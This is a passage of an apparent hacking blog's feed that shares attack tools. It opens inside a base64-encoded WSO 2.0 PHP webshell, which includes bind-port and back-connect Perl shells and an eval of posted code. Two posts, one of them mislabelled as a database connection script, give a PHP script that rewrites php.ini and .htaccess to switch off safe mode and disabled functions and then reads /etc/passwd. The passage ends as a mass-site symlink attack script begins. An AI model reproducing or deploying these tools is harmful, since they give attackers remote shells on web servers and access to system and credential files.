/&gt;ZWNvcmRzKSBQYWdlICMgPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdwMycgdmFsdWU9&lt;br /&gt;IiAuICgoaW50KSRfUE9TVFsncDMnXSkgLiAiPiI7CiAgICAgICAgICAgICAgICAg&lt;br /&gt;ICAgZWNobyAiIG9mICRwYWdlcyI7CiAgICAgICAgICAgICAgICAgICAgaWYoJF9Q&lt;br /&gt;T1NUWydwMyddID4gMSkKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiIDxh&lt;br /&gt;IGhyZWY9IyBvbmNsaWNrPSdzdChcIiIgLiAkX1BPU1RbJ3AyJ10gLiAnIiwgJyAu&lt;br /&gt;ICgkX1BPU1RbJ3AzJ10tMSkgLiAiKSc+Jmx0OyBQcmV2PC9hPiI7CiAgICAgICAg&lt;br /&gt;ICAgICAgICAgICAgaWYoJF9QT1NUWydwMyddIDwgJHBhZ2VzKQogICAgICAgICAg&lt;br /&gt;ICAgICAgICAgICAgICBlY2hvICIgPGEgaHJlZj0jIG9uY2xpY2s9J3N0KFwiIiAu&lt;br /&gt;ICRfUE9TVFsncDInXSAuICciLCAnIC4gKCRfUE9TVFsncDMnXSsxKSAuICIpJz5O&lt;br /&gt;ZXh0ICZndDs8L2E+IjsKICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ10t&lt;br /&gt;LTsKCQkJCQlpZigkX1BPU1RbJ3R5cGUnXT09J3Bnc3FsJykKCQkJCQkJJF9QT1NU&lt;br /&gt;WydwMiddID0gJ1NFTEVDVCAqIEZST00gJy4kX1BPU1RbJ3AyJ10uJyBMSU1JVCAz&lt;br /&gt;MCBPRkZTRVQgJy4oJF9QT1NUWydwMyddKjMwKTsKCQkJCQllbHNlCgkJCQkJCSRf&lt;br /&gt;UE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NIGAnLiRfUE9TVFsncDInXS4nYCBM&lt;br /&gt;SU1JVCAnLigkX1BPU1RbJ3AzJ10qMzApLicsMzAnOwoJCQkJCWVjaG8gIjxicj48&lt;br /&gt;YnI+IjsKCQkJCX0KCQkJCWlmKChAJF9QT1NUWydwMSddID09ICdxdWVyeScpICYm&lt;br /&gt;ICFlbXB0eSgkX1BPU1RbJ3AyJ10pKSB7CgkJCQkJJGRiLT5xdWVyeShAJF9QT1NU&lt;br /&gt;WydwMiddKTsKCQkJCQlpZigkZGItPnJlcyAhPT0gZmFsc2UpIHsKCQkJCQkJJHRp&lt;br /&gt;dGxlID0gZmFsc2U7CgkJCQkJCWVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlIGNlbGxz&lt;br /&gt;cGFjaW5nPTEgY2VsbHBhZGRpbmc9MiBjbGFzcz1tYWluIHN0eWxlPSJiYWNrZ3Jv&lt;br /&gt;dW5kLWNvbG9yOiMyOTI5MjkiPic7CgkJCQkJCSRsaW5lID0gMTsKCQkJCQkJd2hp&lt;br /&gt;bGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpCXsKCQkJCQkJCWlmKCEkdGl0bGUpCXsK&lt;br /&gt;CQkJCQkJCQllY2hvICc8dHI+JzsKCQkJCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRr&lt;br /&gt;ZXkgPT4gJHZhbHVlKQoJCQkJCQkJCQllY2hvICc8dGg+Jy4ka2V5Lic8L3RoPic7&lt;br /&gt;CgkJCQkJCQkJcmVzZXQoJGl0ZW0pOwoJCQkJCQkJCSR0aXRsZT10cnVlOwoJCQkJ&lt;br /&gt;CQkJCWVjaG8gJzwvdHI+PHRyPic7CgkJCQkJCQkJJGxpbmUgPSAyOwoJCQkJCQkJ&lt;br /&gt;fQoJCQkJCQkJZWNobyAnPHRyIGNsYXNzPSJsJy4kbGluZS4nIj4nOwoJCQkJCQkJ&lt;br /&gt;JGxpbmUgPSAkbGluZT09MT8yOjE7CgkJCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRr&lt;br /&gt;ZXkgPT4gJHZhbHVlKSB7CgkJCQkJCQkJaWYoJHZhbHVlID09IG51bGwpCgkJCQkJ&lt;br /&gt;CQkJCWVjaG8gJzx0ZD48aT5udWxsPC9pPjwvdGQ+JzsKCQkJCQkJCQllbHNlCgkJ&lt;br /&gt;CQkJCQkJCWVjaG8gJzx0ZD4nLm5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVl&lt;br /&gt;KSkuJzwvdGQ+JzsKCQkJCQkJCX0KCQkJCQkJCWVjaG8gJzwvdHI+JzsKCQkJCQkJ&lt;br /&gt;fQoJCQkJCQllY2hvICc8L3RhYmxlPic7CgkJCQkJfSBlbHNlIHsKCQkJCQkJZWNo&lt;br /&gt;byAnPGRpdj48Yj5FcnJvcjo8L2I+ICcuaHRtbHNwZWNpYWxjaGFycygkZGItPmVy&lt;br /&gt;cm9yKCkpLic8L2Rpdj4nOwoJCQkJCX0KCQkJCX0KCQkJCWVjaG8gIjxicj48L2Zv&lt;br /&gt;cm0+PGZvcm0gb25zdWJtaXQ9J2Quc2YucDEudmFsdWU9XCJxdWVyeVwiO2Quc2Yu&lt;br /&gt;cDIudmFsdWU9dGhpcy5xdWVyeS52YWx1ZTtkb2N1bWVudC5zZi5zdWJtaXQoKTty&lt;br /&gt;ZXR1cm4gZmFsc2U7Jz48dGV4dGFyZWEgbmFtZT0ncXVlcnknIHN0eWxlPSd3aWR0&lt;br /&gt;aDoxMDAlO2hlaWdodDoxMDBweCc+IjsKICAgICAgICAgICAgICAgIGlmKCFlbXB0&lt;br /&gt;eSgkX1BPU1RbJ3AyJ10pICYmICgkX1BPU1RbJ3AxJ10gIT0gJ2xvYWRmaWxlJykp&lt;br /&gt;CiAgICAgICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUE9T&lt;br /&gt;VFsncDInXSk7CiAgICAgICAgICAgICAgICBlY2hvICI8L3RleHRhcmVhPjxici8+&lt;br /&gt;PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFeGVjdXRlJz4iOwoJCQkJZWNobyAi&lt;br /&gt;PC90ZD48L3RyPiI7CgkJCX0KCQkJZWNobyAiPC90YWJsZT48L2Zvcm0+PGJyLz4i&lt;br /&gt;OwogICAgICAgICAgICBpZigkX1BPU1RbJ3R5cGUnXT09J215c3FsJykgewogICAg&lt;br /&gt;ICAgICAgICAgICAgJGRiLT5xdWVyeSgiU0VMRUNUIDEgRlJPTSBteXNxbC51c2Vy&lt;br /&gt;IFdIRVJFIGNvbmNhdChgdXNlcmAsICdAJywgYGhvc3RgKSA9IFVTRVIoKSBBTkQg&lt;br /&gt;YEZpbGVfcHJpdmAgPSAneSciKTsKICAgICAgICAgICAgICAgIGlmKCRkYi0+ZmV0&lt;br /&gt;Y2goKSkKICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9ybSBvbnN1Ym1pdD0n&lt;br /&gt;ZC5zZi5wMS52YWx1ZT1cImxvYWRmaWxlXCI7ZG9jdW1lbnQuc2YucDIudmFsdWU9&lt;br /&gt;dGhpcy5mLnZhbHVlO2RvY3VtZW50LnNmLnN1Ym1pdCgpO3JldHVybiBmYWxzZTsn&lt;br /&gt;PjxzcGFuPkxvYWQgZmlsZTwvc3Bhbj4gPGlucHV0ICBjbGFzcz0ndG9vbHNJbnAn&lt;br /&gt;IHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+&lt;br /&gt;PC9mb3JtPiI7CiAgICAgICAgICAgIH0KCQkJaWYoQCRfUE9TVFsncDEnXSA9PSAn&lt;br /&gt;bG9hZGZpbGUnKSB7CgkJCQkkZmlsZSA9ICRkYi0+bG9hZEZpbGUoJF9QT1NUWydw&lt;br /&gt;MiddKTsKCQkJCWVjaG8gJzxici8+PHByZSBjbGFzcz1tbDE+Jy5odG1sc3BlY2lh&lt;br /&gt;bGNoYXJzKCRmaWxlWydmaWxlJ10pLic8L3ByZT4nOwoJCQl9Cgl9IGVsc2Ugewog&lt;br /&gt;ICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpOwogICAg&lt;br /&gt;fQoJZWNobyAnPC9kaXY+JzsKCXdzb0Zvb3RlcigpOwp9CmZ1bmN0aW9uIGFjdGlv&lt;br /&gt;bk5ldHdvcmsoKSB7Cgl3c29IZWFkZXIoKTsKCSRiYWNrX2Nvbm5lY3RfcD0iSXlF&lt;br /&gt;dmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHbGhaR1J5UFds&lt;br /&gt;dVpYUmZZWFJ2Ymlna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNG&lt;br /&gt;Y2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENB&lt;br /&gt;a2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DaVJ3Y205&lt;br /&gt;MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5&lt;br /&gt;RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NC&lt;br /&gt;OGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0&lt;br /&gt;RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFw&lt;br /&gt;dmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFW&lt;br /&gt;VUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBO&lt;br /&gt;TFJWUWlLVHNOQ25ONWMzUmxiU2duTDJKcGJpOXphQ0F0YVNjcE93MEtZMnh2YzJV&lt;br /&gt;b1UxUkVTVTRwT3cwS1kyeHZjMlVvVTFSRVQxVlVLVHNOQ21Oc2IzTmxLRk5VUkVW&lt;br /&gt;U1VpazciOwoJJGJpbmRfcG9ydF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRb2tV&lt;br /&gt;MGhGVEV3OUlpOWlhVzR2YzJnZ0xXa2lPdzBLYVdZZ0tFQkJVa2RXSUR3Z01Ta2dl&lt;br /&gt;eUJsZUdsMEtERXBPeUI5RFFwMWMyVWdVMjlqYTJWME93MEtjMjlqYTJWMEtGTXNK&lt;br /&gt;bEJHWDBsT1JWUXNKbE5QUTB0ZlUxUlNSVUZOTEdkbGRIQnliM1J2WW5sdVlXMWxL&lt;br /&gt;Q2QwWTNBbktTa2dmSHdnWkdsbElDSkRZVzUwSUdOeVpXRjBaU0J6YjJOclpYUmNi&lt;br /&gt;aUk3RFFwelpYUnpiMk5yYjNCMEtGTXNVMDlNWDFOUFEwdEZWQ3hUVDE5U1JWVlRS&lt;br /&gt;VUZFUkZJc01TazdEUXBpYVc1a0tGTXNjMjlqYTJGa1pISmZhVzRvSkVGU1IxWmJN&lt;br /&gt;RjBzU1U1QlJFUlNYMEZPV1NrcElIeDhJR1JwWlNBaVEyRnVkQ0J2Y0dWdUlIQnZj&lt;br /&gt;blJjYmlJN0RRcHNhWE4wWlc0b1V5d3pLU0I4ZkNCa2FXVWdJa05oYm5RZ2JHbHpk&lt;br /&gt;R1Z1SUhCdmNuUmNiaUk3RFFwM2FHbHNaU2d4S1NCN0RRb0pZV05qWlhCMEtFTlBU&lt;br /&gt;azRzVXlrN0RRb0phV1lvSVNna2NHbGtQV1p2Y21zcEtTQjdEUW9KQ1dScFpTQWlR&lt;br /&gt;MkZ1Ym05MElHWnZjbXNpSUdsbUlDZ2haR1ZtYVc1bFpDQWtjR2xrS1RzTkNna0pi&lt;br /&gt;M0JsYmlCVFZFUkpUaXdpUENaRFQwNU9JanNOQ2drSmIzQmxiaUJUVkVSUFZWUXNJ&lt;br /&gt;ajRtUTA5T1RpSTdEUW9KQ1c5d1pXNGdVMVJFUlZKU0xDSStKa05QVGs0aU93MEtD&lt;br /&gt;UWxsZUdWaklDUlRTRVZNVENCOGZDQmthV1VnY0hKcGJuUWdRMDlPVGlBaVEyRnVk&lt;br /&gt;Q0JsZUdWamRYUmxJQ1JUU0VWTVRGeHVJanNOQ2drSlkyeHZjMlVnUTA5T1Rqc05D&lt;br /&gt;Z2tKWlhocGRDQXdPdzBLQ1gwTkNuMD0iOwoJZWNobyAiPGgxPk5ldHdvcmsgdG9v&lt;br /&gt;bHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4KCTxmb3JtIG5hbWU9J25mcCcgb25T&lt;br /&gt;dWJtaXQ9XCJnKG51bGwsbnVsbCwnYnBwJyx0aGlzLnBvcnQudmFsdWUpO3JldHVy&lt;br /&gt;biBmYWxzZTtcIj4KCTxzcGFuPkJpbmQgcG9ydCB0byAvYmluL3NoIFtwZXJsXTwv&lt;br /&gt;c3Bhbj48YnIvPgoJUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQn&lt;br /&gt;IHZhbHVlPSczMTMzNyc+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPgoJ&lt;br /&gt;PC9mb3JtPgoJPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD1cImcobnVsbCxudWxs&lt;br /&gt;LCdiY3AnLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJu&lt;br /&gt;IGZhbHNlO1wiPgoJPHNwYW4+QmFjay1jb25uZWN0ICBbcGVybF08L3NwYW4+PGJy&lt;br /&gt;Lz4KCVNlcnZlcjogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NlcnZlcicgdmFs&lt;br /&gt;dWU9JyIuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4iJz4gUG9ydDogPGlucHV0&lt;br /&gt;IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSczMTMzNyc+IDxpbnB1dCB0&lt;br /&gt;eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPgoJPC9mb3JtPjxicj4iOwoJaWYoaXNzZXQo&lt;br /&gt;JF9QT1NUWydwMSddKSkgewoJCWZ1bmN0aW9uIGNmKCRmLCR0KSB7CgkJCSR3ID0g&lt;br /&gt;QGZvcGVuKCRmLCJ3Iikgb3IgQGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29u&lt;br /&gt;dGVudHMnKTsKCQkJaWYoJHcpewoJCQkJQGZ3cml0ZSgkdyxAYmFzZTY0X2RlY29k&lt;br /&gt;ZSgkdCkpOwoJCQkJQGZjbG9zZSgkdyk7CgkJCX0KCQl9CgkJaWYoJF9QT1NUWydw&lt;br /&gt;MSddID09ICdicHAnKSB7CgkJCWNmKCIvdG1wL2JwLnBsIiwkYmluZF9wb3J0X3Ap&lt;br /&gt;OwoJCQkkb3V0ID0gd3NvRXgoInBlcmwgL3RtcC9icC5wbCAiLiRfUE9TVFsncDIn&lt;br /&gt;XS4iIDE+L2Rldi9udWxsIDI+JjEgJiIpOwogICAgICAgICAgICBzbGVlcCgxKTsK&lt;br /&gt;CQkJZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dFxuIi53c29FeCgicHMgYXV4IHwg&lt;br /&gt;Z3JlcCBicC5wbCIpLiI8L3ByZT4iOwogICAgICAgICAgICB1bmxpbmsoIi90bXAv&lt;br /&gt;YnAucGwiKTsKCQl9CgkJaWYoJF9QT1NUWydwMSddID09ICdiY3AnKSB7CgkJCWNm&lt;br /&gt;KCIvdG1wL2JjLnBsIiwkYmFja19jb25uZWN0X3ApOwoJCQkkb3V0ID0gd3NvRXgo&lt;br /&gt;InBlcmwgL3RtcC9iYy5wbCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMydd&lt;br /&gt;LiIgMT4vZGV2L251bGwgMj4mMSAmIik7CiAgICAgICAgICAgIHNsZWVwKDEpOwoJ&lt;br /&gt;CQllY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLndzb0V4KCJwcyBhdXggfCBn&lt;br /&gt;cmVwIGJjLnBsIikuIjwvcHJlPiI7CiAgICAgICAgICAgIHVubGluaygiL3RtcC9i&lt;br /&gt;Yy5wbCIpOwoJCX0KCX0KCWVjaG8gJzwvZGl2Pic7Cgl3c29Gb290ZXIoKTsKfQpm&lt;br /&gt;dW5jdGlvbiBhY3Rpb25SQygpIHsKCWlmKCFAJF9QT1NUWydwMSddKSB7CgkJJGEg&lt;br /&gt;PSBhcnJheSgKCQkJInVuYW1lIiA9PiBwaHBfdW5hbWUoKSwKCQkJInBocF92ZXJz&lt;br /&gt;aW9uIiA9PiBwaHB2ZXJzaW9uKCksCgkJCSJ3c29fdmVyc2lvbiIgPT4gV1NPX1ZF&lt;br /&gt;UlNJT04sCgkJCSJzYWZlbW9kZSIgPT4gQGluaV9nZXQoJ3NhZmVfbW9kZScpCgkJ&lt;br /&gt;KTsKCQllY2hvIHNlcmlhbGl6ZSgkYSk7Cgl9IGVsc2UgewoJCWV2YWwoJF9QT1NU&lt;br /&gt;WydwMSddKTsKCX0KfQppZiggZW1wdHkoJF9QT1NUWydhJ10pICkKCWlmKGlzc2V0&lt;br /&gt;KCRkZWZhdWx0X2FjdGlvbikgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4g&lt;br /&gt;JGRlZmF1bHRfYWN0aW9uKSkKCQkkX1BPU1RbJ2EnXSA9ICRkZWZhdWx0X2FjdGlv&lt;br /&gt;bjsKCWVsc2UKCQkkX1BPU1RbJ2EnXSA9ICdTZWNJbmZvJzsKaWYoICFlbXB0eSgk&lt;br /&gt;X1BPU1RbJ2EnXSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJF9QT1NU&lt;br /&gt;WydhJ10pICkKCWNhbGxfdXNlcl9mdW5jKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10p&lt;br /&gt;OwpleGl0Ow==&quot;));&lt;br /&gt;?&amp;gt;&lt;br /&gt;
---------------------------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
Password=dz0&lt;br /&gt;
Iwish you&#39;ll apreciate it and Bye.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://dz-pentesters.blogspot.com/feeds/7922652221434981976/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://dz-pentesters.blogspot.com/2012/10/wso-20-webshell.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3476505312538354043/posts/default/7922652221434981976'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3476505312538354043/posts/default/7922652221434981976'/><link rel='alternate' type='text/html' href='http://dz-pentesters.blogspot.com/2012/10/wso-20-webshell.html' title='WSO 2.0 WebShell'/><author><name>hmimedtxb</name><uri>http://www.blogger.com/profile/04160108120104762378</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3476505312538354043.post-4899949613331377187</id><published>2012-10-01T02:13:00.001-07:00</published><updated>2012-10-01T02:13:29.284-07:00</updated><title type='text'>SQL database connection script</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Hi all;&lt;br /&gt;
In this article im gonna give you a script that with you can connect to mysql database by putting informations of the mysql database&lt;br /&gt;
Source code :&lt;br /&gt;
------------------------------------------------------------------------------------------------------------------------&lt;br /&gt;
&amp;lt;?&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;&lt;br /&gt;bypass safe mode exploit by SIlent Haxor&lt;br /&gt;&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;echo &quot;[+] Start...\n&quot;;&lt;br /&gt;&lt;br /&gt;$bypfile=fopen(&#39;php.ini&#39;,&#39;w+&#39;);&lt;br /&gt;&lt;br /&gt;$stuffile=fopen(&#39;.htaccess&#39;,&#39;w+&#39;);&lt;br /&gt;&lt;br /&gt;if($bypfile and $stuffile!= NULL){&lt;br /&gt;&lt;br /&gt;echo &quot;[+] evil files created succes ! \n&quot;;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;else{&lt;br /&gt;&lt;br /&gt;echo &quot;[-] access denial ! \n&quot;;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$byprullz1=&quot;safe_mode = OFF&lt;br /&gt;&lt;br /&gt;&quot;;&lt;br /&gt;&lt;br /&gt;$byprullz2=&quot;disable_functions = NONE&quot;;&lt;br /&gt;&lt;br /&gt;$dj=fwrite($bypfile,$byprullz1);&lt;br /&gt;&lt;br /&gt;$dj1=fwrite($bypfile,$byprullz2);&lt;br /&gt;&lt;br /&gt;fclose($bypfile);&lt;br /&gt;&lt;br /&gt;if($dj and $dj1!= NULL){&lt;br /&gt;&lt;br /&gt;echo &quot;[+] php.ini writed \n&quot;;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;else{&lt;br /&gt;&lt;br /&gt;echo &quot;[-] 404 php.ini not found !\n&quot;;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$breakrullz=&quot;suPHP_ConfigPath /home/nurorme/public_html/php.ini&quot;; // replace this &#39;/home/user/public_html&#39; by ur path&lt;br /&gt;&lt;br /&gt;$sf7=fwrite($stuffile,$breakrullz);&lt;br /&gt;&lt;br /&gt;fclose($stuffile);&lt;br /&gt;&lt;br /&gt;if($sf7!= NULL){&lt;br /&gt;&lt;br /&gt;echo &quot;[+] evil .htaccess writing...done\n&quot;;&lt;br /&gt;&lt;br /&gt;echo &quot;[+] exploited by success!\n\n\n&quot;;&lt;br /&gt;&lt;br /&gt;echo &quot;\t\t\t[+] programmed by Hunter\n&quot;;&lt;br /&gt;&lt;br /&gt;echo &quot;\t\t\t[+] home : :D&quot;;&lt;br /&gt;&lt;br /&gt;echo &quot;\t\t\t[+] Greetz : My old memories ..\n&quot;;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;else{&lt;br /&gt;&lt;br /&gt;echo &quot;[-] evil .htaccess Not found!\n&quot;;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;system(&quot;pwd;ls -lia;uname -a;cat /etc/passwd&quot;);&lt;br /&gt;&lt;br /&gt;#EOF&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
-------------------------------------------------------------------------------------------------------------------------------------------&lt;br /&gt;
&amp;nbsp;I wish you&#39;ll apreciate it and Bye .&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://dz-pentesters.blogspot.com/feeds/4899949613331377187/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://dz-pentesters.blogspot.com/2012/10/sql-database-connection-script.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3476505312538354043/posts/default/4899949613331377187'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3476505312538354043/posts/default/4899949613331377187'/><link rel='alternate' type='text/html' href='http://dz-pentesters.blogspot.com/2012/10/sql-database-connection-script.html' title='SQL database connection script'/><author><name>hmimedtxb</name><uri>http://www.blogger.com/profile/04160108120104762378</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3476505312538354043.post-7577840584102918956</id><published>2012-10-01T02:09:00.001-07:00</published><updated>2012-10-01T02:13:49.438-07:00</updated><title type='text'>Script Bypass Safe Mode = On</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Hi all;&lt;br /&gt;
in this article im gonna give you a tool to bypass definitivly &amp;nbsp;Safe Mode= On&lt;br /&gt;
Source Code:&lt;br /&gt;
&lt;br /&gt;
----------------------------------------------------------------------------------------------------------&lt;br /&gt;
&amp;lt;?&lt;br /&gt;
&lt;br /&gt;
/*&lt;br /&gt;
&lt;br /&gt;
bypass safe mode exploit by SIlent Haxor&lt;br /&gt;
&lt;br /&gt;
*/&lt;br /&gt;
&lt;br /&gt;
echo &quot;[+] Start...\n&quot;;&lt;br /&gt;
&lt;br /&gt;
$bypfile=fopen(&#39;php.ini&#39;,&#39;w+&#39;);&lt;br /&gt;
&lt;br /&gt;
$stuffile=fopen(&#39;.htaccess&#39;,&#39;w+&#39;);&lt;br /&gt;
&lt;br /&gt;
if($bypfile and $stuffile!= NULL){&lt;br /&gt;
&lt;br /&gt;
echo &quot;[+] evil files created succes ! \n&quot;;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
else{&lt;br /&gt;
&lt;br /&gt;
echo &quot;[-] access denial ! \n&quot;;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
$byprullz1=&quot;safe_mode = OFF&lt;br /&gt;
&lt;br /&gt;
&quot;;&lt;br /&gt;
&lt;br /&gt;
$byprullz2=&quot;disable_functions = NONE&quot;;&lt;br /&gt;
&lt;br /&gt;
$dj=fwrite($bypfile,$byprullz1);&lt;br /&gt;
&lt;br /&gt;
$dj1=fwrite($bypfile,$byprullz2);&lt;br /&gt;
&lt;br /&gt;
fclose($bypfile);&lt;br /&gt;
&lt;br /&gt;
if($dj and $dj1!= NULL){&lt;br /&gt;
&lt;br /&gt;
echo &quot;[+] php.ini writed \n&quot;;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
else{&lt;br /&gt;
&lt;br /&gt;
echo &quot;[-] 404 php.ini not found !\n&quot;;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
$breakrullz=&quot;suPHP_ConfigPath /home/nurorme/public_html/php.ini&quot;; // replace this &#39;/home/user/public_html&#39; by ur path&lt;br /&gt;
&lt;br /&gt;
$sf7=fwrite($stuffile,$breakrullz);&lt;br /&gt;
&lt;br /&gt;
fclose($stuffile);&lt;br /&gt;
&lt;br /&gt;
if($sf7!= NULL){&lt;br /&gt;
&lt;br /&gt;
echo &quot;[+] evil .htaccess writing...done\n&quot;;&lt;br /&gt;
&lt;br /&gt;
echo &quot;[+] exploited by success!\n\n\n&quot;;&lt;br /&gt;
&lt;br /&gt;
echo &quot;\t\t\t[+] programmed by Hunter\n&quot;;&lt;br /&gt;
&lt;br /&gt;
echo &quot;\t\t\t[+] home : &quot;;&lt;br /&gt;
&lt;br /&gt;
echo &quot;\t\t\t[+] Greetz : My old memories ..\n&quot;;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
else{&lt;br /&gt;
&lt;br /&gt;
echo &quot;[-] evil .htaccess Not found!\n&quot;;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
system(&quot;pwd;ls -lia;uname -a;cat /etc/passwd&quot;);&lt;br /&gt;
&lt;br /&gt;
#EOF&lt;br /&gt;
&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----------------------------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
I wish You&#39;ll apreciate it and Bye.&amp;nbsp;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://dz-pentesters.blogspot.com/feeds/7577840584102918956/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://dz-pentesters.blogspot.com/2012/10/script-bypass-safe-mode-on.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3476505312538354043/posts/default/7577840584102918956'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3476505312538354043/posts/default/7577840584102918956'/><link rel='alternate' type='text/html' href='http://dz-pentesters.blogspot.com/2012/10/script-bypass-safe-mode-on.html' title='Script Bypass Safe Mode = On'/><author><name>hmimedtxb</name><uri>http://www.blogger.com/profile/04160108120104762378</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3476505312538354043.post-4160083059131686558</id><published>2012-10-01T02:05:00.002-07:00</published><updated>2012-10-01T02:14:08.907-07:00</updated><title type='text'>Ultra Priv8 :Symlink 3.0</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Hi all ;&lt;br /&gt;
Here is a new release Of the symlink script.&lt;br /&gt;
He contain a new options as:&lt;br /&gt;
- Symlink Bypass&lt;br /&gt;
-Mass Joomla&lt;br /&gt;
-Mass WordPress&lt;br /&gt;
-Mass vBulletin&lt;br /&gt;
&lt;br /&gt;
The source Code:&lt;br /&gt;
-----------------------------------------------------------------------------------------------------------------------------&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
/*&lt;br /&gt;
&lt;br /&gt;
.d8888. d88888b  .o88b.         db   d8b   db      .o88b.  .d88b.  .88b  d88.&lt;br /&gt;
